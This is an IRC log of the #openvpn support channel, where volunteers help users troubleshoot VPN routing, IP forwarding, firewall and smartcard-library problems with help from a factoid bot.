23:02 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for
23:02 <@vpnHelper> a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
23:02 <@krzee> follow the flowchart
23:02 <@krzee> i dont have time to walk you through stuff
23:03  * rob0 follows the flowchart
23:03 < jgspratt1> Right, I saw that chart.  I did the step "add a route to the router so it knows how to reach the vpn subnet"
23:03 <@krzee> but i did write !route and made the flowcharts in !clientlan and !serverlan if you understand the basics of routing thats all you should really need
23:03 <@krzee> good luck to ya, i need to go test my new product line :D
23:04 < jgspratt1> The route I wrote was if going to 10.0.0.0/24, go to 10.25.1.101
23:04 < jgspratt1> That's the OpenVPN server eth0, however, no packets can actually make it back.
23:04 <+rob0> are you looking at the flowchart?
23:04 < jgspratt1> Yep!
23:05 < jgspratt1> I have it on my screen right this very moment, sir.
23:06 <+rob0> I don't, but I recall seeing something on it about enabling IP forwarding.
23:07 < jgspratt1> rob0: does http://hastebin.com/vecelijumu.coffee indicate that I'm doing it wrong?
23:07 <@vpnHelper> Title: hastebin (at hastebin.com)
23:12 <+rob0> does that say something about enabling IP forwarding on 10.25.1.101? What OS is 10.25.1.101?
23:13 < jgspratt1> 10.25.1.101 is Ubuntu
23:13 <+rob0> !linipforward
23:13 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
23:13 <+rob0> "cat /proc/sys/net/ipv4/ip_forward"
23:16 < jgspratt1> Ok, I enabled ip forwarding on the openvpn server
23:17 < jgspratt1> I'm still getting a similar problem
23:18 < jgspratt1> Here's the client: http://hastebin.com/moxisolowe.rb
23:18 <@vpnHelper> Title: hastebin (at hastebin.com)
23:21 < jgspratt1> And the server is kind of freaking out route-wise: http://hastebin.com/voviludeho.vhdl
23:21 <@vpnHelper> Title: hastebin (at hastebin.com)
23:23 <@krzee> if you *just* enabled ip forwarding
23:24 <@krzee> after following the flowchart and stating that you enabled a route on the router (which comes after ip forwarding on the flowchart)
23:24 <@krzee> then you basically proved that following directions in order is not your strong suite
23:24 <@krzee> in which case, best of luck to ya dude, i doubt this is for you :-p
23:26 < jgspratt1> Well, you said to enable IP forwarding in my OpenVPN host which is not my firewall
23:26 < jgspratt1> At least, it's not what I call my firewall on a day-to-day basis.
23:26 < jgspratt1> That's what I call my SonicWALL.
23:27 <@krzee> do you know what ip forwarding is / does?
23:27 < jgspratt1> But, fair enough, you suggested to enable it on my Ubuntu machine so I did.
23:28 <@krzee> ip forwarding is needed on any machine that is expected to allow packets to traverse from 1 network device to another
23:28 < jgspratt1> I'm not sure what enabling that does, no, because this was working before I moved datacenters.  It doesn't seem to be how this setup is intended to be by the guy who set it up originally.
23:28 <@krzee> whether that means your "ubuntu machine" is up to you to figure out -[
23:28 <@krzee> =]*
23:29 < jgspratt1> Gotcha, so, promiscuous accepting of packets and forwarding them
23:29 <@krzee> promiscuous?
23:29 <@krzee> i think you just mis-used that word, but ok
23:29 < jgspratt1> Fair enough, sure.  Anyway, it takes packets and routes them now.
23:30 < jgspratt1> Is it OK that I'm at the "Add a route to the router..." step now?
23:30 <@krzee> no idea
23:30 <@krzee> try starting over and following the directions
23:30 <@krzee> step by step, starting at the top
23:30 < jgspratt1> I'll go from the top, sure.
23:32 < jgspratt1> Yeah, I'm pretty sure I'm in the right spot.  I can ping 172.16.0.8, which is the client VPN IP.
23:32 < jgspratt1> I pushed out the routes
23:33 < jgspratt1> I see the iroute config is correct: internal route 10.0.0.0/24 -> <COMMON-NAME>
23:33 < jgspratt1> Can I ping the lan IP of the client? no.
23:33 < jgspratt1> Turn on IP forwarding, done.
23:34 < jgspratt1> Can I ping the lan IP of the client? Still no.
23:34 <@krzee> check client firewall
23:34 <@krzee> also check ip forwarding in that firewall
23:34 < jgspratt1> Is my client my firewall also?
23:35 <@krzee> grrr i need one of my users to get around so we can test my shit!
23:35 <+rob0> any Linux machine can have an iptables firewall
23:35 < jgspratt1> Oh, now I see what you mean by firewall here.  I was thinking appliance.
23:36 < jgspratt1> Ok, it was already set on the client to forward.
23:44 < jgspratt1> rob0: I'm still stuck with no ping.  I've tried many settings.
23:59 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
--- Day changed Wed Jan 09 2013
00:00 < jgspratt1> rob0: now I'm getting this: http://hastebin.com/naxacariku.vbs
00:00 <@vpnHelper> Title: hastebin (at hastebin.com)
00:01 < jgspratt1> so, I can actually get from the east coast to the west coast.
00:01 < jgspratt1> going the oppoiste way seems to be the problem.
00:11 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds]
00:12 -!- HyperGlide [~HyperGlid@182.151.60.13] has joined #openvpn
00:13 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 252 seconds]
00:16 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has quit [Ping timeout: 248 seconds]
00:41 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
00:59 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Ping timeout: 256 seconds]
01:00 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 256 seconds]
01:01 -!- HyperGlide [~HyperGlid@182.151.60.13] has quit [Remote host closed the connection]
01:10 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 244 seconds]
01:28 -!- cornfeed [~cornfeed@unaffiliated/cornfeed] has quit [Ping timeout: 255 seconds]
01:29 -!- medum [kevin@2607:f2f8:a4c4::2] has quit [Ping timeout: 246 seconds]
01:30 -!- cornfeed [~cornfeed@unaffiliated/cornfeed] has joined #openvpn
01:31 -!- medum [kevin@n2l.org] has joined #openvpn
01:34 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has joined #openvpn
01:34 -!- winter_ [gigas@openvpn/user/winter] has quit [Quit: leaving]
01:41 -!- brute11k [~brute11k@89.249.235.33] has joined #openvpn
01:45 -!- bauruine [~stefan@91.236.116.112] has quit [Ping timeout: 248 seconds]
01:47 -!- ade_b [~Ade@95.209.134.79.bredband.tre.se] has joined #openvpn
01:47 -!- ade_b [~Ade@95.209.134.79.bredband.tre.se] has quit [Changing host]
01:47 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
02:02 -!- dxtr [~dxtr@unaffiliated/dxtr] has quit [Ping timeout: 246 seconds]
02:04 -!- gladiatr [~sdspence@openvpn/community/support/gladiatr] has quit [Ping timeout: 246 seconds]
02:05 -!- Halagan [~Miranda@a4.evona.ba.cust.gts.sk] has joined #openvpn
02:22 < Halagan> Hi guys, i have a problem with Safenet iKey1032 problem with loging to vpn with certificate. We installed last version of iKey1000SDK (4.2.0) for iKey 1032 under OS Windows 7 x64.
02:22 < Halagan> App installed correctly and utility shows some information about token.
02:22 < Halagan> We have openvpn certificate on this iKey and we use this certificate to login in vpn site.
02:22 < Halagan> When we run openvpn client, it appear error with message “the ordinal 322 could not be located in the dynamic link library libeay32.dll”. So I copied this file and file ssleay32.dll from windows\system32 to openvpn\bin, where I replaced original openvpn files. Then i started again openvpn client, and opevpn daemon crash with error. We use openvpn-2.2.2-install.exe, but I have also tried version openvpn-install-2.3_rc1-I003-x86_6
02:22 < Halagan> 4.exe with the same results. Under OS Windows XP 32 bit with iKey1000SDK (4.0.0.4) run this certificate on token without problems. I tried to install the latest library openssl for 32 and 64 bit OS Windows from site http://slproweb.com/products/Win32OpenSSL.html, of course i installed additional recommended library (Visual C++ 2008 Redistributables x32 a x64). Please suggest me solution. Thanks.
02:25 <+pekster> Halagan: How are you starting OpenVPN? Are you using the OpenVPN GUI from your Windows tray icon? When you install OpenVPN, it uses its own bundled copy of OpenSSL so you don't need to install that seperately
02:28 < Halagan> I am starting OpenVPN with config file .ovpn.
02:29 <+pekster> Okay. It sounds like there might be a problem tying the smartcard you're using with the SSL library. I have 2 suggetsions: first, try downloading the latest 2.3.0 (just recently released the last couple of days) and see if that changes anything. 2nd, try using the 32-bit version, in case there's some 64/32-bit conflict with your smartcard libraries
02:30 <+pekster> I'm guessing at both of those solutions, but it doesn't sound like an OpenVPN issue, more like an issue interacting with the PKCS11 provider (ie: your smartcard.)
02:30 <+pekster> I assume you've already tested your smartcard on the client software, and it's working normally?
02:33 < Halagan> Under OS Windows XP client works fine without problems. You mean OpenSSL version 2.3.0 ?
02:33 <+pekster> No, you listed an OpenVPN "rc", or Release Candidate version. The official 2.3.0 version is now available for download
02:33 <+pekster> !download
02:33 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
02:33 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
02:34 <+pekster> If it's working under XP, your smartcard might only work properly with a 32-bit SSL library. You can't just replace the library with the one your smartcard suite uses becuase OpenVPN is compiled specifically against the version of the dll provided by the installer (ie: you can't just drop in a 32-bit version and expect your 64-bit OpenVPN.exe to work)
02:35 <+pekster> Try the 2.3.0 OpenVPN version for 32-bit, not 64. Completely uninstall your current OpenVPN version, then install that
02:35 <+pekster> It might just work
02:37 < Halagan> Okay, i try it. Thanks. If that does not work, the i'll bother again :-)
02:37 <+pekster> Well, if that doesn't work it's a more subtle (and harder to solve) problem
02:39 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
02:59 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
02:59 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
02:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
02:59 -!- mode/#openvpn [+o krzee] by ChanServ
03:01 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
03:14 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
03:21 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 248 seconds]
03:26 < IT> back
03:26 < IT> morning guys
03:37 -!- Suterusu1 [~EyeR@178.63.199.61] has joined #openvpn
03:37 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
03:38 -!- n2deep_ [n2deep@odin.sdf-eu.org] has joined #openvpn
03:40 < IT> @ecrist, major breakthrough, that route correction solved  the problem and now i can ping between gateways
03:40 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has left #openvpn []
03:42 -!- Netsplit *.net <-> *.split quits: Suterusu, nutron, n2deep
03:48 < IT> @ecrist, can't ping other machines behind the gateways tough :(
03:48 -!- ronsel [~ronsel@dslb-088-074-167-187.pools.arcor-ip.net] has joined #openvpn
03:49 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
03:49 -!- swat [~swat@ubuntu/member/swat] has joined #openvpn
03:55 -!- dxtr [~dxtr@unaffiliated/dxtr] has joined #openvpn
04:19 -!- niervol [~krystian@193.106.244.150] has joined #openvpn
04:23 -!- videl [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has quit [Quit: leaving]
04:24 -!- pi_ [~pi@fac34-3-82-231-26-27.fbx.proxad.net] has joined #openvpn
04:24 -!- pi_ is now known as videl
04:29 -!- pa [~pa@unaffiliated/pa] has quit [Ping timeout: 260 seconds]
04:34 -!- dazo_afk is now known as dazo
04:42 < IT> i'm stuck at this particular step http://imagehost.pitestinet.ro/images/m1vdzvvgdwfduni6yi4.png can i have an example of this?
04:46 -!- pa [~pa@unaffiliated/pa] has joined #openvpn
04:55 <@dazo> IT: you need to log into your router ... and add in an explicit route there of your VPN subnet and tell the router to send that traffic to your OpenVPN server's LAN IP
04:56 <@dazo> (that route will be an additional route to whatever you already have there)
04:56 <@dazo> how that is done on your router is out of the scope for this channel, though ... as we don't support routers here, just openvpn setups
04:58 <@dazo> krzee: ... I got an idea for your troubleshoot images .... add a number on each of the blocks ... then it's easier to point at which step people stops at
05:01 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
05:02 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
05:21 -!- Carbon_Monoxide [~cmonxide@116.92.14.130] has quit [Quit: Leaving]
05:27 -!- Porkepix [~Porkepix@ppp-seco11pa2-46-193-129.224.wb.wifirst.net] has joined #openvpn
05:29 -!- neverme [neverme@177.182.56.94] has joined #openvpn
05:30 < neverme> Hi, I would like to know if its possible to use a single Instance of OpenVPN with multiple public IPs ? Like I want client A to use the outbound IP 1, client B to use IP 2 and so on, or do I have to create 1 VPN to each IP ?
05:39 -!- neverme [neverme@177.182.56.94] has quit [Quit: Leaving]
05:48 < Rienzilla> is possible with one server instance I guess
05:54 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
06:05 -!- fu_fu [~Adium@c-71-200-223-226.hsd1.fl.comcast.net] has joined #openvpn
06:07 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
06:11 < thermoman> why does easyrsa-2.0 create a 01.pem, 02.pem etc besides the name.crt files?
06:12 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Ping timeout: 248 seconds]
06:18 -!- bsdgeek [~bsdgeek@91-66-20-106-dynip.superkabel.de] has joined #openvpn
06:52 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has joined #openvpn
06:52 -!- Saviq_ [~Saviq@89-70-82-159.dynamic.chello.pl] has quit [Remote host closed the connection]
06:53 <@ecrist> IT: pastebin another traceroute from one LAN machine to a LAN machine on the other network.
07:04 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:08 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
07:09 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
07:10 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Client Quit]
07:11 -!- kobolduk [~kobolduk@office.prolocation.net] has joined #openvpn
07:15 < IT> ecrist: http://pastebin.com/7gJJfMb2
07:16 <@ecrist> IT: NOW is it a firewall issue?
07:16 < IT> i stopped the firewall ...
07:16 <@ecrist> !iptables
07:16 <@vpnHelper> "iptables" is (#1) to test if iptables is your problem, disable all rules or put the defaults to accept: iptables -P INPUT ACCEPT; iptables -P OUTPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -F; iptables -Z or (#2) please see http://openvpn.net/man#lbBD for more info or (#3) you can see http://www.secure-computing.net/wiki/index.php/OpenVPN/Firewall for pf or iptables or (#4) These is just the
07:16 <@vpnHelper> basics to get OpenVPN working. Proper firewall design is beyond the scope of this channel. You can try #iptables
07:17 <@ecrist> can you pastebin your configs again?
07:19 < IT> ofc http://pastebin.com/BUxV6x8X
07:23 < IT> pfff
07:23 < IT> i'm such a retard, i forgot one firewall on LAN2
07:23 <@ecrist> the pastebin above (pings/traceroute) seems to indicate you can only ping from one side to the other, and not both directions
07:23 < IT> it's down, let me retest
07:23 < IT> aaaaaaaand it's working
07:23 <@ecrist> :)
07:23 <+rob0> yay
07:24 < IT> yes!
07:24 < IT> they are all working! :x:X:X:X
07:24 <@ecrist> quoting our /topic: Your problem is probably your firewall, really
07:24 <@ecrist> ;)
07:24 < IT> =))
07:24 <@ecrist> IT: now, don't you feel better prepared to resolve future issues than if you'd paid someone to do it for you?
07:25 < IT>  /respect level +1 for ecrist and rob0
07:25 < IT> hell yea
07:25 < |Mike|> lol
07:25 <@ecrist> !donate
07:25 <@vpnHelper> "donate" is (#1) send monetary donations to openvpn@secure-computing.net via paypal. All money donated goes to staff toward development of the community wiki, forum, and this IRC channel. or (#2) Contributions to this address do *NOT* directly benefit OpenVPN Technologies, Inc. or (#3) http://www.secure-computing.net/wiki/index.php/OpenVPN/Donations for Contribution totals and benefactors
07:25 < IT> took me 3 weeks to solve it, but atleast i got a good glipmse of it
07:29 <@ecrist> glad you got it working, IT
07:30 < IT> ecrist are you part of the staff?
07:30 <@ecrist> yes
07:31 <@ecrist> I run the community services, like IRC, the secure-computing wiki, and community infrastructure
07:31 < |Mike|> now he's going to make your an offer *g* :P
07:31 <@ecrist> I'm also the easy-rsa maintainer
07:32 < IT> check paypal in a few moments
07:32 < IT> thanks again
07:32 <@ecrist> also, feel free to check /msg chanserv info #openvpn
07:33 < IT> you lost me there, i'm a irc noob
07:35 < jgspratt1> Hello, I am having a problem with http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing and http://ircpimps.org/clientlan.png .  client.conf: http://hastebin.com/qaciwiwugu.vala ; server.conf: http://hastebin.com/papugiroce.vala ; server networking: http://hastebin.com/tacimotaki.sm ; client networking: http://hastebin.com/butabiqore.sm
07:35 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
07:35 < jgspratt1> The problem is in the last link: I can't ping 10.25.1.102 from 10.0.0.10
07:36 < jgspratt1> interestingly, on another miscellaneous box on the server-side LAN, I can get to 10.0.0.10: http://hastebin.com/yibefikemo.vhdl
07:36 <@vpnHelper> Title: hastebin (at hastebin.com)
07:37 <@ecrist> IT, type /msg and the rest of that line
07:37 < jgspratt1> (and by "last link" I mean last URL posted)
07:37 < IT> done that :P
07:42 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has joined #openvpn
07:42 -!- valparaiso [~valparais@ARennes-257-1-179-35.w2-13.abo.wanadoo.fr] has left #openvpn []
07:42 < jgspratt1> In fact, the http://ircpimps.org/clientlan.png doesn't seem to cover my problem: I can answer "yes" to all of the questions now, and I get to "it works!"
07:43 < jgspratt1> But, the client can't get respnoses from arbitrary hosts on the server side
07:43 < jgspratt1> Is OpenVPN even able to do that?
07:43 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
07:44 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
07:48 < jgspratt1> Also, I don't understand why traceroute treats 10.25.1.101 and 10.25.1.102 differently in the trace.
07:48 < jgspratt1> http://hastebin.com/lisivovime.rb
07:48 <@vpnHelper> Title: hastebin (at hastebin.com)
08:06 <@ecrist> jgspratt1: firewall?
08:06 < jgspratt1> ecrist: iptables are off and I have included the ip forwarding in both the server and the client.
08:07 <@ecrist> !diagram
08:07 <@vpnHelper> "diagram" is You can use a site such as http://gliffy.com to create a network diagram as well as programs such as Visio, Dia, or OmniGraffle
08:09 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has quit [Read error: Operation timed out]
08:10 -!- GabrieleV [~GabrieleV@host190-79-static.230-95-b.business.telecomitalia.it] has joined #openvpn
08:10 < jgspratt1> ecrist: http://hastebin.com/rotiyaqefa.1c
08:10 <@vpnHelper> Title: hastebin (at hastebin.com)
08:11 < jgspratt1> I had this all working before moving this data center to a new location and changing the IP addressing scheme on the server side to what it is now.
08:11 < jgspratt1> Basically, 10.25.1.102 can get to both clients, but 10.0.0.10 can only get to 10.25.1.101
08:14 -!- Denial [Denial@cpc15-tonb3-2-0-cust76.16-3.cable.virginmedia.com] has joined #openvpn
08:16 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 246 seconds]
08:23 < jgspratt1> ecrist: so, do you think my problem is with the route on the router? "add a route to the router so it knows how to reach the vpn subnet" (from http://ircpimps.org/serverlan.png )
08:23 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Quit: Leaving]
08:27 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has joined #openvpn
08:28 -!- ade_b [~Ade@109.58.166.181.bredband.tre.se] has joined #openvpn
08:28 -!- ade_b [~Ade@109.58.166.181.bredband.tre.se] has quit [Changing host]
08:28 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
08:29 -!- DX099 [~DX099@2a01:e35:2eaf:e400:3dee:8180:898d:1df2] has joined #openvpn
08:29 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 260 seconds]
08:29 < DX099> hello
08:29 < DX099> I have some problems connecting to some servers. My open-vpn client says something about timeout but I suspect port forwarding problems
08:30 < DX099> do I have to have some ports open ? How can I specify the server the range of ports that are available for it to connect to ?
08:30 <@ecrist> jgspratt1: can you post a traceroute for the failure?
08:31 < jgspratt1> ecrist: that's in http://hastebin.com/butabiqore.sm
08:31 <@vpnHelper> Title: hastebin (at hastebin.com)
08:31 < jgspratt1> "traceroute to 10.25.1.102" part starting at line 71
08:31 < jgspratt1> What should be in my ccd/ file for this client?
08:31 <@ecrist> when you say "10.25.1.102 can get to both clients" what do you mean?
08:32 < jgspratt1> I mean it can ping/ssh to 10.0.0.10 and 10.0.0.18
08:33 <@ecrist> which pastebin has your configs?
08:34 < jgspratt1> client.conf: http://hastebin.com/qaciwiwugu.vala ; server.conf: http://hastebin.com/papugiroce.vala
08:34 <@ecrist> is ip_forwarding enabled on your vpn server?
08:34 <@vpnHelper> Title: hastebin (at hastebin.com)
08:34 < jgspratt1> yes
08:34 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
08:34 <@ecrist> ugh
08:34 <@ecrist> !configs
08:34 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
08:35 <@ecrist> I'll put up with them for now, but in the future, remove all the comments
08:35 < jgspratt1> Thanks, will do.
08:35 < IT> does openvpn has any bandwight limitation buildin?
08:36 <@ecrist> you need to add the line route 10.24.0.0 255.248.0.0 to your server config
08:36 < jgspratt1> Most recently, I had http://hastebin.com/webisidano.hs as my ccd file for the lone client
08:36 <@vpnHelper> Title: hastebin (at hastebin.com)
08:36 <@ecrist> you're pushing it, but you're not allowing openvpn to route it
08:36 <@ecrist> so, VPN clients are sending traffic to the VPN server for the subnet, but the server is dropping the traffic
08:37 < jgspratt1> oh, that makes sense.  so, openvpn doesn't just "use" the linux routes?
08:37 <@ecrist> not internally
08:37 < jgspratt1> how can I see what routes it is using interally?  is there a command for that?
08:38 <@ecrist> how about you just trust me
08:38 <@ecrist> it's using what you tell it to use in the config
08:40 < jgspratt1> Sounds good.  Ok, I set that up, shipped the conf file, and restarted the server and client.  Same issue.
08:41 <@ecrist> show me the new config, please
08:41 <@ecrist> and the CCD
08:41 <@ecrist> also
08:41 <@ecrist> !logs
08:41 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
08:45 -!- hazardous [~dbn@openvpn/user/hazardous] has quit [Ping timeout: 260 seconds]
08:46 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 260 seconds]
08:46 -!- hazardous [~dbn@openvpn/user/hazardous] has joined #openvpn
08:46 -!- mode/#openvpn [+v hazardous] by ChanServ
08:47 < jgspratt1> new server.conf: http://hastebin.com/cahixuxace.hs ; current ccd: http://hastebin.com/webisidano.hs ; server log: http://hastebin.com/qixihofogu.vbs ; client log: http://hastebin.com/juyifanobi.md
08:47 <@vpnHelper> Title: hastebin (at hastebin.com)
08:50 < jgspratt1> Is that CCD route wrong?
08:50 < jgspratt1> I tried taking it out just now.
08:50 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
08:50 < jgspratt1> If I take it out, the client logs this: http://hastebin.com/jasogemaho.pas
08:50 <@vpnHelper> Title: hastebin (at hastebin.com)
08:50  * ecrist looks
08:51 <@ecrist> jgspratt1: for every push "route..." you have, you need a corresponding route line
08:52 <@ecrist> also, your version of OpenVPN is out of date
08:52 < jgspratt1> ecrist: ok, fair enough, how's this: http://hastebin.com/yexerafipa.hs
08:52 <@vpnHelper> Title: hastebin (at hastebin.com)
08:53 <@ecrist> jgspratt1: did you see line 34 in your server log?
08:53 <@ecrist> that's probably your routing issue
08:54 < jgspratt1> Oh, good call.  How did I create that overlap?
08:54 <@ecrist> you tell me
08:54 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 240 seconds]
08:55 < jgspratt1> Well, I specify that the local VPN has a range of 10.24.0.0/255.248.0.0
08:55 < jgspratt1> But the remote VPN is 10.0.0.0/24
08:55 <@ecrist> yeah, there's your overlap
08:55 < jgspratt1> But it says the "remote" VPN is in issue.
08:55 -!- MarKsaitis_ [~MarKsaiti@81.101.81.114] has joined #openvpn
08:56 <@ecrist> openvpn seems to thing you're using 10.24.0.0/255.248.0.0
08:56 < jgspratt1> That's on a different LAN, right?
08:56 < jgspratt1> That's the entire local LAN, yes.
08:56 < jgspratt1> I want hosts to be able to get there.
08:56 -!- MarKsaitis_ [~MarKsaiti@81.101.81.114] has quit [Read error: Connection reset by peer]
08:56 < jgspratt1> From the remote side.
08:56 <@ecrist> i've gotta scoot for a bit, bbl
08:57 < jgspratt1> If I want to achieve http://hastebin.com/rotiyaqefa.1c where each host on that network can get to any other host, what's wrong with my config?
08:57 <@vpnHelper> Title: hastebin (at hastebin.com)
08:58 -!- MarKsaitis [~MarKsaiti@81.101.81.114] has quit [Read error: Operation timed out]
08:59 < jgspratt1> I should add to that diagram a bit: http://hastebin.com/mubijulata.1c
09:00 <@vpnHelper> Title: hastebin (at hastebin.com)
09:00 < jgspratt1> Can someone suggest a server config that would achieve this?
09:02 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
09:05 -!- niervol [~krystian@193.106.244.150] has quit [Remote host closed the connection]
09:10 -!- kobolduk [~kobolduk@office.prolocation.net] has quit [Quit: ["Textual IRC Client: www.textualapp.com"]]
09:11 < jgspratt1> How does what I'm doing disagree with what http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing is suggesting?
09:11 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
09:18 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
09:19 -!- jgspratt [~jgspratt@66.162.71.166] has joined #openvpn
09:19 -!- jgspratt1 [~jgspratt@66.162.71.166] has quit [Read error: Connection reset by peer]
09:22 -!- chrisb [~chrisb@li482-205.members.linode.com] has quit [Ping timeout: 246 seconds]
09:28 -!- chrisb [~chrisb@li482-205.members.linode.com] has joined #openvpn
09:28 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has joined #openvpn
09:31 -!- jackbrown [~se@93-44-76-167.ip96.fastwebnet.it] has quit [Client Quit]
09:35 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:35 -!- Konigsberg7 [~mIRC@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
09:37 -!- DX099 [~DX099@2a01:e35:2eaf:e400:3dee:8180:898d:1df2] has quit [Quit: DX099]
09:38 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:38 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
09:38 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:38 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Remote host closed the connection]
09:38 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:39 < jgspratt> How does what I'm doing disagree with what http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing is suggesting?
09:39 <@vpnHelper> Title: OpenVPN/Routing - Secure Computing Wiki (at www.secure-computing.net)
09:42 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Client Quit]
09:42 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:42 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
09:42 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:42 -!- Konigsberg7 [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has quit [Excess Flood]
09:42 -!- Konigsberg [Konigsberg@c-67-163-13-78.hsd1.il.comcast.net] has joined #openvpn
09:46 < jgspratt> Can someone suggest a server config that would achieve this?
09:46 < jgspratt> I'm trying to be able to ping from 10.0.0.10 to 10.25.1.102: http://hastebin.com/mubijulata.1c
09:46 <@vpnHelper> Title: hastebin (at hastebin.com)
09:48 < |Mike|> !configs jgspratt
09:48 < |Mike|> !tell jgspratt configs
09:49 < |Mike|> hrm, syntax changed?
09:49 < jgspratt> |Mike| wants me to tell you: configs
09:49 < jgspratt> But, sure, I can repost them, hang on.
09:49 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:49 < |Mike|> !configs
